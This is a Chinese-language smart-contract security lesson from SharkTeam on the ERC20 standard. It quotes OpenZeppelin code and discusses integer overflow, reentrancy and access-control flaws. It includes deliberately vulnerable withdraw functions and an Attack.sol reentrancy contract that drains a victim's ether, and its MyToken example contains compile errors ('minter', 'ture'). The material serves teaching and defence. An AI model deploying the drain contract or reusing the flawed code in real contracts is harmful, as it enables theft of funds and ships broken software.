SharkTeam合约安全系列课程之NFT&GameFi开发与安全。第三课,让我们一起来详细聊聊ERC20协议。
SharkTeam合约安全系列课程之NFT&GameFi开发与安全。第三课,让我们一起来详细聊聊ERC20协议。
本文使用的 Openzeppelin 是 4.2.0 版本,我们将 ERC20 协议分为 4 个部分:
name
、符号 symbol
、精度 decimals
最后一节将介绍几个与 ERC20 协议相关的合约漏洞。
基本元数据,包括名称 name
、符号 symbol
、精度 decimals
。
基本元数据是 ERC20 中不可修改的状态变量,标识了 ERC20 代币的基本属性,一般是不可以修改的。因此,需要在部署合约时的构造函数中进行初始化,或者直接在合约代码中定义,即在合约部署成功后,基本元数据必须已经初始化成功了。
一般情况下,ERC20 代币精度会设置为18,即账户余额为 10^18 时,表示代币数量为1。类似于ETH,账户余额为 10^18 Wei 时,表示以太数量为1,即 1 ETH
基本元数据是可以访问但不可以修改的,访问接口定义在 IERC20Metadata.sol 文件中。
OpenZeppelin 定义的 IERC20Metadata.sol 代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
基本业务,包括查询、转账、授权 3 种业务。
查询业务包括包含2个:
totalSupply
balanceOf
转账业务包含2个:
transfer
transferFrom
转账业务执行成功时需要触发 Transfer
事件。
授权业务包含2个:
approve
授权代币业务执行成功时需要触发 Approval
事件
allowance
这3个基本业务的外部函数接口都定义在 IERC20.sol 中,Openzeppelin 定义的 IERC20.sol 代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
以上基本元数据以及基本业务构成了基本的 ERC20 代币合约,Openzeppelin 定义的 ERC20.sol 实现了 IERC20 以及 IERC20Metadata 中定义的接口函数,代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
以上代码除了接口合约中定义的外部函数外,还包含了以下两部分:
授权业务扩展函数,即授权代币的增减业务:
increaseAllowance
decreaseAllowance
这两个函数都是 public
类型,也可以作为外部访问的接口,因此这两个函数是对授权代币业务的进一步补充。
代币铸造与销毁函数:
_mint
burn
注意到,这两个函数的类型是 internal
,不可以作为外部访问的接口,只能在合约内部以及继承合约中使用。这两个函数主要用于代币的发行,供用户在继承合约中可以直接调用这两个函数自定义代币的发行业务。
此外,ERC20 合约中的 Context.sol 提供了当前的上下文信息,即 msg.sender
以及 msg.data
,代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
这里使用 Context.sol 合约,而不建议直接使用 msg.sender
和 msg.data
,因为在处理元交易时,发送和支付执行费用的帐户可能不是实际的交易发送者。
代币的发行需要实现代币的通缩循环,本文中把代币的发行模式分为两种:
定量模式,或称分发回收模式。
该模式下,代币的发行总量是恒定的,在 ERC20 代币合约部署时直接在构造函数中为所有者账户(owner)铸造总供应量的代币,代币的分发则是由所有者账户向其他账户转账,代币回收则是其他账户向所有者账户转账。
整个代币分发和回收过程都是由中心化的所有者账户控制,这种模式的好处就是项目方权利大,自主性强,业务逻辑简单,安全性高,但需要对项目方有足够信任。另外,这种代币的经济价值较小,运营投入的价值不高,可以作为一种凭证来使用。
增发模式,或称铸造销毁模式。
该模式是一般有价值的代币使用的模式。该模式下,代币的发行总量是不断改变,但整体趋势是增发的。代币的铸造与销毁是按照发行计划实施的,由所有者账户(owner)来控制,并且逐渐地走向去中心化的 DAO (去中心化自治组织,Decentralized Autonomous Organization,DAO)模式,即最终代币权限会实现去中心化。
这种模式下,代币业务逻辑相对复杂,发行计划要完整,安全性取决于合约代码的安全性以及发行计划的合理性。另外,代币的价值空间大,而且完全取决于团队运行,当下有价值的主流 ERC20 代币都采用了这种模式。
在 ERC20 合约中实现了代币铸造和销毁的内部函数,因此,如果需要使用代币的铸造和销毁业务,需要重新定义外部接口,合约代码示例如下:
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MyToken is ERC20("MyToken", "MYT"){
address public owner;
// modifier for mint function
modifier onlyOwner() {
require(_msgSender() == minter, "caller is not the minter");
_;
}
// mint with max supply
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
_mint(_to, _amount);
return true;
}
function burn(uint256 _amount) public returns (bool){
_burn(msgSender(), _amount);
return ture;
}
// Other functions
// ......
}
代币铸造函数 mint
为地址 _to
铸造 _amount
数量的代币,需要 onlyOwner
校验,即只有 owner
地址可以铸币。另外,代币可能还需要代币总量的校验,即当前代币发行的总供应量不能超过最大值。
代币销毁函数 burn
销毁调用者地址 _amount
数量的代币,任何地址都可以调用,但只能销毁其自己的代币。
注意:
mint
和 burn
,最好不要随便修改。因为修改后不方便其他项目(比如Uniswap等去中心化交易所项目)的接入,并且项目容易受到黑客的关注。onlyOwner
校验,推荐使用 Openzeppelin 中的 Ownable.sol 合约,或者使用 AccessControl.sol 合约做访问控制和权限校验。ERC20代币除了以上介绍的代币业务外,根据不同的应用场景,还会有其他的一些业务。比如,在 Uniswap 项目 V2 版本中,UniswapV2Pair.sol 合约中除了以上业务外,还有 swap 业务,请参考Uniswap代码库:
UniswapV2Pair.sol:https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol
以下介绍几个与 ERC20 代币合约相关的合约漏洞。
以太坊虚拟机为整数指定了固定的大小,当算术运算达到类型的最大或最小大小时,将发生上溢/下溢。
当在操作数据时超出了数据范围会出现溢出错误或gas不足,这会使得攻击者有机会滥用代码并创建不合理的逻辑流程。
整数溢出示例代码如下:
pragma solidity ^0.6.0;
contract MyToken{
mapping(address => uint) balances;
function balanceOf(address _user) returns (uint) {
return balances[_user];
}
function deposit() payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount){
require(balances[msg.sender] - _amount > 0);
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}
代码中第 12 行,当 balances[msg.sender] < _amount 时,balances[msg.sender] - _amount 就会发生下溢,即 require判断条件为 true,_amount 数量的代币会转移给 msg.sender,然后由于整数溢出 balances[msg.sender] 会变得更大,而不是变成零或者负数。
为了避免整数溢出的问题,我们提出了 3 个修复建议:
(1)在算术逻辑前后进行验证
(2)使用 Openzeppelin 中的 SafeMath 库做算数计算;
(3)使用 0.8.0 或以上的 Solidity 版本,因为 0.8.0 及以上 Solidity 编译器内置了整数溢出检查。
向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
在以太坊智能合约中,进行转账操作,一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为“重入漏洞”。
以下是一个简单地重入漏洞示例。
EthToken.sol:
contract WEthToken {
mapping(address => uint256) public balances;
function depositETH() public payable {
balances[msg.sender] += msg.value;
}
function withdrawETH(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
require(msg.sender.call.value(_amount)());
balances[msg.sender] -= _amount;
}
}
该合约有两个公共职能: depositETH
和 withdrawETH
。
depositETH
函数将 Ether 存入合约中,并增加调用者地址的余额;withdrawETH
函数允许调用者地址指定要撤回的 Wei 的数量,要求 Wei 的数量不能超过调用者地址余额。当恶意攻击者,使用“重入漏洞”对合约进行攻击时,将不会按照合约创建者希望的逻辑进行执行。
重入漏洞出现在第 17 行代码:
require(msg.sender.call.value(_amount)());
比如下面的攻击合约 Attack.sol,攻击者可以利用攻击合约不按照规则进行 Ether 的提取撤回。
Attack.sol:
import "EthToken.sol";
contract Attack {
EthToken public ethToken;
// intialise the ethToken variable with the contract address
constructor(address _ethToken) {
ethToken = EthToken(_ethToken);
}
function attack() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositETH() function
ethToken.depositETH.value(1 ether)();
// start the magic
ethToken.withdrawETH(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function() payable {
if (ethToken.balance > 1 ether) {
ethToken.withdrawETH(1 ether);
}
}
}
调用 attack() 函数时,当执行到 EthToken 合约第 17 行时,转账完成后会进入到 Attack 合约中的回调函数中
重新进入 withdrawETH 函数,由于此时还没有修改 balances[msg.sender],因此校验通过,继续会转账,知道将合约中所有的 ether 都转走。
针对重入漏洞,我们提出了以下4个安全建议:
(1)使用“检查-生效-交互”模式;
(2)添加重入锁,保证“修改状态变量并转账”的原子性,建议使用 Openzeppelin 中的 ReentrancyGuard 合约;
(3)Ether 转账时使用 transfer() 代替 call.value();
(4)使用 Openzeppelin 中安全的函数进行转账以及外部调用。
合约中的变量以及函数需要声明一定的权限,包括private、public、internal、external; 一些特殊的函数,比如初始化函数、修改某些状态变量的函数、自毁函数等,需要通过 require 或者 modifier 声明其调用的权限。
若权限配置不合理,也会使得合约存在权限漏洞。黑客可能会利用权限漏洞发起攻击,造成大量的经济损失。
比如 2022 年 1 月发生的 Crosswise 项目被黑客攻击的事件,就是因为合约中存在权限漏洞,才会被黑客攻击并获利。
针对权限漏洞,我们提出以下 2 条建议:
(1)显式声明合约中的变量以及函数的访问权限(private、public、internal、external);
(2)对于一些特殊的函数,比如初始化函数、修改某些状态变量的函数等,通过require或者modifier声明其调用的权限,或者加锁限制函数的调用。
SharkTeam的愿景是全面保护Web3世界的安全。团队成员分布在北京、南京、苏州、硅谷,由来自世界各地的经验丰富的安全专业人士和高级研究人员组成,精通区块链和智能合约的底层理论,提供包括威胁建模、智能合约审计、应急响应等在内的综合服务。已与区块链生态系统各个领域的关键参与者,如Huobi Global、OKC、polygon、Polkadot、imToken、ChainIDE等建立长期合作关系。
Telegram:https://t.me/sharkteamorg
Twitter:https://twitter.com/sharkteamorg
更多区块链安全咨询与分析,点击下方链接查看
D查查|链上风险核查 https://m.chainaegis.com
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!